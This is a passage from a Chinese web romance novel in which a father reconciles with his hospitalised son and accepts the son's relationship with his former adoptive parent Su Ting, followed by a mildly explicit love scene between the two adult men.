“爸爸没能照顾好你,是爸爸的不对……”叶淮安心里难受极了,他在叶修明小的时候就把他扔了,心里一直没过去这个坎,现在儿子性命攸关,还有什么比他的健康更重要呢? 是他这么执着于儿子的私生活,才遭受的报应。 “修明,爸爸对不起你,爸爸错了,你能原谅爸爸吗?爸爸不想让你走啊。”叶淮安声泪俱下,用纸巾不停地擦拭面部,苏廷给他递了几次纸巾后,劝道:“修明已经脱离危险,现在只是太困睡过去而已,你少咒他。” 叶淮安:“等会儿我再说你跟他的事情。” 苏廷:“我也有件事想跟你说。” 苏廷把病房留给叶淮安,让他们父子二人多待一会儿,很快叶修明就醒了,他看见叶淮安,心里咯噔一声,掀开被子就要去找苏廷。 “你把他气走了对不对?你为什么要这么做,那是我最爱的人!” 叶淮安忙道:“你先别动,苏廷哪都没去,我更没让他离开巴库。” 叶修明:“那让我见见他。” 叶淮安迅速咳嗽一声,苏廷就倚在门框,目光灼灼地看着叶修明。 “我打算去老城给你买点烤肉回来,放我去不。”苏廷道。 这下叶修明的神色才终于缓和下来,朝苏廷点了点头。 “让裴安带你去,安全一些。” 苏廷轻哼一声:“我才不让他陪着呢。” 叶淮安这两天饭没吃够,现在倒让他们堵着了,但神情还是哀伤的,黯然落泪道:“爸爸同意你跟苏廷的事了,也不会继续再为难他,可是……那些舆论该怎么办?” 叶修明本就没打算让叶淮安甚至整个世界认可他和苏廷什么,听见叶淮安的同意有点无动于衷,对后半段话更是嗤之以鼻。 “我早就打算对抗全世界了。”叶修明说,“苏廷也是。” “你不叫他小爸了?” “我们在十八岁的时候就解除了领养关系,爸,他把我还给了你。” 第一次知道这件事的叶淮安吞声饮泪,气丝已悬地说:“我竟然是最后一个知道的。” “现在知道也不迟。” “所以你们已经不算严格意义上的养父子关系了,我可以让公关从这个角度入手,还你们清白。” “爸,算了,我不在乎别人怎么看我们,自己开心比什么都重要。” 叶淮安知道这个道理,但成年人的世界,是没有选择的权利的。 “爸爸还有几个问题,如今看来也都没有意义了,修明,爸爸希望你能活好这一生,我叶淮安永远是你的后盾。” 苏廷回来后,发现叶淮安已经不见了,他端着烤肉过来,说:“你爸呢?” “不想看见咱俩卿卿我我,去外面转悠了。” “谁要跟你卿卿我我。”苏廷笑道。 叶修明掀开被子,朝自己的关键部位看了一眼,甜甜一笑:“不用怎么知道还行不行,毕竟我差点撞死。” 他趁苏廷不备,歪歪扭扭地站了起来,托住苏廷的后背就想抱起来,苏廷忙叫了停,自己老老实实地躺上病床,说:“这里条件相对简陋,你要是想要,也不是不行,但我的腰可能会疼。” 叶修明轻声在苏廷的耳边道:“我就试试行不行。” 苏廷随手一摸,差点翻出白眼来:“你这不是已经行了。” 一阵热气从苏廷的耳边蔓延开来,烧得他整个人都有点热。 苏廷的脖颈被那个情真意切的吻都快弄疼了。 叶修明的唇齿沿着苏廷那身紧致的肌肉一路向下,不知不觉就发现他们都已到了不得不发的状况。 叶修明的手摆弄着,忽然说:“小爸,你想不想要婚礼。” 苏廷昂扬的心募地沉了下来,说:“合卺酒那天就是我们的婚礼。”他被弄得有点焦躁,主动背过身去。 叶修明咬了咬他的肩膀,附耳低声说:“你还没有结束。” “我又不用证明自己。” 急需一场角力的叶修明当仁不让了,他轻轻摇晃着苏廷的肩头,喉中长吁一口气。 “我打算给西郊的住宅起名‘明庭’,你同意吗?” 叶修明停了下来,将他转了过来,“小爸,你没骗我吧。” 苏廷心里“嘶”了一声,说:“做这个的时候能不能别叫我‘小爸’”。 叶修明:“可我喜欢,就像我的催情素一样。” 说着,叶修明神魂目眩地看着苏廷的眼睛,低喘了一声。 “小爸,”叶修明说,“以后只有做这个的时候你才是我小爸。” 苏廷:“无耻。” “你喜欢我的无耻吗?” 苏廷想了想,飘零半世,他这辈子好像只捡了叶修明这件宝贝,那颗沉重浓密的心里,因为有了叶修明,才有了热度。 他可以受制于时间的规律,前提是叶修明必须陪着他。 他面前是意味深长的摇晃,气息与气息逐渐融为一体,身后是被他抛弃的秩序,只剩混沌。 苏廷想起傅西辞说爱是在混沌里找到有序。 可他想说……爱是极端地混沌,极端地占有,和极致的情-欲。 剩下的,叫泛善可陈。 “我喜欢你的无耻,修明,好在我们都无耻。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m